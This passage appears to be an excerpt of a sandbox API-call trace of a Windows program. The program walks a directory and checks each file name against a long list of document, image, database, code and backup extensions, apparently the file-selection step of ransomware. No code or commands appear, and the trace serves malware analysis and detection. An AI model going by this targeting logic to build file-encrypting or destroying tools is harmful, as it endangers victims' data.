	[0069.676] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0069.676] lstrlenW (lpString=".pict") returned 5
	[0069.677] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0069.677] lstrlenW (lpString=".pl") returned 3
	[0069.677] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0069.677] lstrlenW (lpString=".pls") returned 4
	[0069.677] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0069.677] lstrlenW (lpString=".pm") returned 3
	[0069.677] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0069.677] lstrlenW (lpString=".png") returned 4
	[0069.677] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0069.677] lstrlenW (lpString=".pnm") returned 4
	[0069.677] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0069.677] lstrlenW (lpString=".pot") returned 4
	[0069.677] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0069.677] lstrlenW (lpString=".potm") returned 5
	[0069.677] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0069.677] lstrlenW (lpString=".potx") returned 5
	[0069.677] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0069.677] lstrlenW (lpString=".ppa") returned 4
	[0069.677] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0069.677] lstrlenW (lpString=".ppam") returned 5
	[0069.677] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0069.677] lstrlenW (lpString=".ppm") returned 4
	[0069.677] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0069.677] lstrlenW (lpString=".pps") returned 4
	[0069.677] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0069.677] lstrlenW (lpString=".ppsm") returned 5
	[0069.677] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0069.677] lstrlenW (lpString=".ppt") returned 4
	[0069.677] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0069.677] lstrlenW (lpString=".pptm") returned 5
	[0069.677] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0069.677] lstrlenW (lpString=".pptx") returned 5
	[0069.677] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0069.677] lstrlenW (lpString=".prn") returned 4
	[0069.677] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0069.678] lstrlenW (lpString=".ps") returned 3
	[0069.678] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0069.678] lstrlenW (lpString=".psb") returned 4
	[0069.678] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0069.678] lstrlenW (lpString=".psd") returned 4
	[0069.678] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0069.678] lstrlenW (lpString=".pst") returned 4
	[0069.678] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0069.678] lstrlenW (lpString=".ptx") returned 4
	[0069.678] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0069.678] lstrlenW (lpString=".pub") returned 4
	[0069.678] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0069.678] lstrlenW (lpString=".pwm") returned 4
	[0069.678] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0069.678] lstrlenW (lpString=".pxr") returned 4
	[0069.678] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0069.678] lstrlenW (lpString=".py") returned 3
	[0069.678] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0069.678] lstrlenW (lpString=".qt") returned 3
	[0069.678] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0069.678] lstrlenW (lpString=".r3d") returned 4
	[0069.678] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0069.678] lstrlenW (lpString=".raf") returned 4
	[0069.678] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0069.678] lstrlenW (lpString=".rar") returned 4
	[0069.678] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0069.678] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0069.679] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0069.679] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0069.679] FindClose (in: hFindFile=0x3121610 | out: hFindFile=0x3121610) returned 1
	[0069.679] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0069.679] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1
	[0069.679] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0069.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032") returned 26
	[0069.679] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121590
	[0069.681] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.681] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0069.681] lstrlenW (lpString="eula.rtf") returned 8
	[0069.681] lstrlenW (lpString=".1cd") returned 4
	[0069.681] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.681] lstrlenW (lpString=".3ds") returned 4
	[0069.681] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0069.681] lstrlenW (lpString=".3fr") returned 4
	[0069.681] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0069.681] lstrlenW (lpString=".3g2") returned 4
	[0069.681] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0069.681] lstrlenW (lpString=".3gp") returned 4
	[0069.681] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0069.681] lstrlenW (lpString=".7z") returned 3
	[0069.681] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.681] lstrlenW (lpString=".accda") returned 6
	[0069.681] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0069.681] lstrlenW (lpString=".accdb") returned 6
	[0069.681] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0069.681] lstrlenW (lpString=".accdc") returned 6
	[0069.681] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0069.681] lstrlenW (lpString=".accde") returned 6
	[0069.681] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0069.681] lstrlenW (lpString=".accdt") returned 6
	[0069.681] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0069.681] lstrlenW (lpString=".accdw") returned 6
	[0069.681] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0069.681] lstrlenW (lpString=".adb") returned 4
	[0069.681] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0069.681] lstrlenW (lpString=".adp") returned 4
	[0069.681] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0069.682] lstrlenW (lpString=".ai") returned 3
	[0069.682] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0069.682] lstrlenW (lpString=".ai3") returned 4
	[0069.682] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0069.682] lstrlenW (lpString=".ai4") returned 4
	[0069.682] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0069.682] lstrlenW (lpString=".ai5") returned 4
	[0069.682] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0069.682] lstrlenW (lpString=".ai6") returned 4
	[0069.682] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0069.682] lstrlenW (lpString=".ai7") returned 4
	[0069.682] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0069.682] lstrlenW (lpString=".ai8") returned 4
	[0069.682] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0069.682] lstrlenW (lpString=".anim") returned 5
	[0069.682] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0069.682] lstrlenW (lpString=".arw") returned 4
	[0069.682] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0069.682] lstrlenW (lpString=".as") returned 3
	[0069.682] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0069.682] lstrlenW (lpString=".asa") returned 4
	[0069.682] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0069.682] lstrlenW (lpString=".asc") returned 4
	[0069.682] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0069.682] lstrlenW (lpString=".ascx") returned 5
	[0069.682] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0069.682] lstrlenW (lpString=".asm") returned 4
	[0069.682] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0069.682] lstrlenW (lpString=".asmx") returned 5
	[0069.682] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0069.682] lstrlenW (lpString=".asp") returned 4
	[0069.682] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0069.682] lstrlenW (lpString=".aspx") returned 5
	[0069.682] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0069.682] lstrlenW (lpString=".asr") returned 4
	[0069.683] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0069.683] lstrlenW (lpString=".asx") returned 4
	[0069.683] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0069.683] lstrlenW (lpString=".avi") returned 4
	[0069.683] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0069.683] lstrlenW (lpString=".avs") returned 4
	[0069.683] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0069.683] lstrlenW (lpString=".backup") returned 7
	[0069.683] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0069.683] lstrlenW (lpString=".bak") returned 4
	[0069.683] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0069.683] lstrlenW (lpString=".bay") returned 4
	[0069.683] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0069.683] lstrlenW (lpString=".bd") returned 3
	[0069.683] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0069.683] lstrlenW (lpString=".bin") returned 4
	[0069.683] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0069.683] lstrlenW (lpString=".bmp") returned 4
	[0069.683] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0069.683] lstrlenW (lpString=".bz2") returned 4
	[0069.683] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.683] lstrlenW (lpString=".c") returned 2
	[0069.683] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0069.683] lstrlenW (lpString=".cdr") returned 4
	[0069.683] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0069.683] lstrlenW (lpString=".cer") returned 4
	[0069.683] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0069.683] lstrlenW (lpString=".cf") returned 3
	[0069.683] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0069.683] lstrlenW (lpString=".cfc") returned 4
	[0069.683] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0069.683] lstrlenW (lpString=".cfm") returned 4
	[0069.683] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0069.683] lstrlenW (lpString=".cfml") returned 5
	[0069.683] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0069.684] lstrlenW (lpString=".cfu") returned 4
	[0069.684] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0069.684] lstrlenW (lpString=".chm") returned 4
	[0069.684] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0069.684] lstrlenW (lpString=".cin") returned 4
	[0069.684] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0069.684] lstrlenW (lpString=".class") returned 6
	[0069.684] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0069.684] lstrlenW (lpString=".clx") returned 4
	[0069.684] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0069.684] lstrlenW (lpString=".config") returned 7
	[0069.684] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0069.684] lstrlenW (lpString=".cpp") returned 4
	[0069.684] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0069.684] lstrlenW (lpString=".cr2") returned 4
	[0069.684] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0069.684] lstrlenW (lpString=".crt") returned 4
	[0069.684] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0069.684] lstrlenW (lpString=".crw") returned 4
	[0069.684] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0069.684] lstrlenW (lpString=".cs") returned 3
	[0069.684] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0069.684] lstrlenW (lpString=".css") returned 4
	[0069.684] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0069.684] lstrlenW (lpString=".csv") returned 4
	[0069.684] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0069.684] lstrlenW (lpString=".cub") returned 4
	[0069.684] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0069.684] lstrlenW (lpString=".dae") returned 4
	[0069.684] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0069.684] lstrlenW (lpString=".dat") returned 4
	[0069.684] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0069.684] lstrlenW (lpString=".db") returned 3
	[0069.684] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0069.684] lstrlenW (lpString=".dbf") returned 4
	[0069.685] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.685] lstrlenW (lpString=".dbx") returned 4
	[0069.685] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0069.685] lstrlenW (lpString=".dc3") returned 4
	[0069.685] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0069.685] lstrlenW (lpString=".dcm") returned 4
	[0069.685] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0069.685] lstrlenW (lpString=".dcr") returned 4
	[0069.685] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0069.685] lstrlenW (lpString=".der") returned 4
	[0069.685] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0069.685] lstrlenW (lpString=".dib") returned 4
	[0069.685] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0069.685] lstrlenW (lpString=".dic") returned 4
	[0069.685] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0069.685] lstrlenW (lpString=".dif") returned 4
	[0069.685] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0069.685] lstrlenW (lpString=".divx") returned 5
	[0069.685] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0069.685] lstrlenW (lpString=".djvu") returned 5
	[0069.685] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0069.685] lstrlenW (lpString=".dng") returned 4
	[0069.685] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0069.685] lstrlenW (lpString=".doc") returned 4
	[0069.685] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.685] lstrlenW (lpString=".docm") returned 5
	[0069.685] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0069.685] lstrlenW (lpString=".docx") returned 5
	[0069.685] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.685] lstrlenW (lpString=".dot") returned 4
	[0069.685] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0069.685] lstrlenW (lpString=".dotm") returned 5
	[0069.685] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0069.685] lstrlenW (lpString=".dotx") returned 5
	[0069.685] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0069.686] lstrlenW (lpString=".dpx") returned 4
	[0069.686] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0069.686] lstrlenW (lpString=".dqy") returned 4
	[0069.686] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0069.686] lstrlenW (lpString=".dsn") returned 4
	[0069.686] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0069.686] lstrlenW (lpString=".dt") returned 3
	[0069.686] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0069.686] lstrlenW (lpString=".dtd") returned 4
	[0069.686] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0069.686] lstrlenW (lpString=".dwg") returned 4
	[0069.686] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0069.686] lstrlenW (lpString=".dwt") returned 4
	[0069.686] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0069.686] lstrlenW (lpString=".dx") returned 3
	[0069.686] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0069.686] lstrlenW (lpString=".dxf") returned 4
	[0069.686] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0069.686] lstrlenW (lpString=".edml") returned 5
	[0069.686] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0069.686] lstrlenW (lpString=".efd") returned 4
	[0069.686] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0069.686] lstrlenW (lpString=".elf") returned 4
	[0069.686] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0069.686] lstrlenW (lpString=".emf") returned 4
	[0069.686] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0069.686] lstrlenW (lpString=".emz") returned 4
	[0069.686] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0069.686] lstrlenW (lpString=".epf") returned 4
	[0069.686] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0069.686] lstrlenW (lpString=".eps") returned 4
	[0069.686] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0069.686] lstrlenW (lpString=".epsf") returned 5
	[0069.686] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0069.686] lstrlenW (lpString=".epsp") returned 5
	[0069.687] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0069.687] lstrlenW (lpString=".erf") returned 4
	[0069.687] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0069.687] lstrlenW (lpString=".exr") returned 4
	[0069.687] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0069.687] lstrlenW (lpString=".f4v") returned 4
	[0069.687] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0069.687] lstrlenW (lpString=".fido") returned 5
	[0069.687] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0069.687] lstrlenW (lpString=".flm") returned 4
	[0069.687] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0069.687] lstrlenW (lpString=".flv") returned 4
	[0069.687] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0069.687] lstrlenW (lpString=".frm") returned 4
	[0069.687] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0069.687] lstrlenW (lpString=".fxg") returned 4
	[0069.687] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0069.687] lstrlenW (lpString=".geo") returned 4
	[0069.687] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0069.687] lstrlenW (lpString=".gif") returned 4
	[0069.687] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0069.687] lstrlenW (lpString=".grs") returned 4
	[0069.687] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0069.687] lstrlenW (lpString=".gz") returned 3
	[0069.687] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0069.687] lstrlenW (lpString=".h") returned 2
	[0069.687] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0069.687] lstrlenW (lpString=".hdr") returned 4
	[0069.687] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0069.687] lstrlenW (lpString=".hpp") returned 4
	[0069.687] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0069.687] lstrlenW (lpString=".hta") returned 4
	[0069.687] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0069.687] lstrlenW (lpString=".htc") returned 4
	[0069.688] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0069.688] lstrlenW (lpString=".htm") returned 4
	[0069.688] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0069.688] lstrlenW (lpString=".html") returned 5
	[0069.688] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0069.688] lstrlenW (lpString=".icb") returned 4
	[0069.688] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0069.688] lstrlenW (lpString=".ics") returned 4
	[0069.688] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0069.688] lstrlenW (lpString=".iff") returned 4
	[0069.688] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0069.688] lstrlenW (lpString=".inc") returned 4
	[0069.688] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0069.688] lstrlenW (lpString=".indd") returned 5
	[0069.688] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0069.688] lstrlenW (lpString=".ini") returned 4
	[0069.688] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0069.688] lstrlenW (lpString=".iqy") returned 4
	[0069.688] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0069.688] lstrlenW (lpString=".j2c") returned 4
	[0069.688] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0069.688] lstrlenW (lpString=".j2k") returned 4
	[0069.688] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0069.688] lstrlenW (lpString=".java") returned 5
	[0069.688] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0069.688] lstrlenW (lpString=".jp2") returned 4
	[0069.688] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0069.688] lstrlenW (lpString=".jpc") returned 4
	[0069.688] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0069.688] lstrlenW (lpString=".jpe") returned 4
	[0069.688] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0069.688] lstrlenW (lpString=".jpeg") returned 5
	[0069.688] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0069.688] lstrlenW (lpString=".jpf") returned 4
	[0069.688] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0069.689] lstrlenW (lpString=".jpg") returned 4
	[0069.689] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.689] lstrlenW (lpString=".jpx") returned 4
	[0069.689] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0069.689] lstrlenW (lpString=".js") returned 3
	[0069.689] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0069.689] lstrlenW (lpString=".jsf") returned 4
	[0069.689] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0069.689] lstrlenW (lpString=".json") returned 5
	[0069.689] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0069.689] lstrlenW (lpString=".jsp") returned 4
	[0069.689] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0069.689] lstrlenW (lpString=".kdc") returned 4
	[0069.689] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0069.689] lstrlenW (lpString=".kmz") returned 4
	[0069.689] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0069.689] lstrlenW (lpString=".kwm") returned 4
	[0069.689] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0069.689] lstrlenW (lpString=".lasso") returned 6
	[0069.689] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0069.689] lstrlenW (lpString=".lbi") returned 4
	[0069.689] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0069.689] lstrlenW (lpString=".lgf") returned 4
	[0069.689] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0069.689] lstrlenW (lpString=".lgp") returned 4
	[0069.689] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0069.689] lstrlenW (lpString=".log") returned 4
	[0069.689] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0069.689] lstrlenW (lpString=".m1v") returned 4
	[0069.689] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0069.689] lstrlenW (lpString=".m4a") returned 4
	[0069.689] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0069.689] lstrlenW (lpString=".m4v") returned 4
